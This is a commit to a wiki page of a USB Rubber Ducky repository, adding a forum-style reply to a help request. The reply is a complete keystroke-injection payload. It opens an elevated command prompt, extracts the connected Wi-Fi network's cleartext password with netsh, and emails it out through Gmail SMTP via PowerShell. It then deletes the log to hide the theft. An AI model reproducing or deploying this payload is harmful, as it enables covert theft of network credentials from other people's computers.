Robot
/
wiki-rubber-ducky-usb
2
0
Fork 0
Code Issues Pull Requests Releases Wiki Activity

Added a reply.

This commit is contained in:
berkeley_blue 2017-07-02 06:15:46 +03:00
parent bbf87f539e
commit 0eaf24572c
1 changed files with 69 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

70
Need-help-please.-(Rubber-Ducky)(Network-info-grabber).md
View File

@ -83,4 +83,72 @@ Network type: %B%
Authentication: %C%
Password: %D%
Also using it against a windows 7 laptop.
Also using it against a windows 7 laptop.
***
Edit by berkeley_blue:
I haven't checked your code but I have a working one. You need to change "SENDER","PASSWORD" and "RECIEVER".
Original author is Siem. I did little changes.
```
GUI
DELAY 200
STRING cmd
CTRL-SHIFT ENTER
DELAY 500
LEFTARROW
ENTER
DELAY 500
STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=:" %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A
ENTER
STRING set A="%A:~1%"
ENTER
STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
ENTER
STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A
ENTER
STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A
ENTER
STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A
ENTER
STRING del A.txt
ENTER
STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
ENTER
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('SENDER@gmail.com', 'PASSWORD')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'SENDER@gmail.com'
ENTER
STRING $ReportEmail.To.Add('RECEIVER@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'WiFi key grabber'
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 500
STRING exit
ENTER
DELAY 2000
STRING del %userprofile%\Desktop\Log.txt
ENTER
DELAY 200
STRING exit
ENTER
```
P.S Use [Hak5 Forums](https://forums.hak5.org/index.php?/forum/56-usb-rubber-ducky/) for further questions.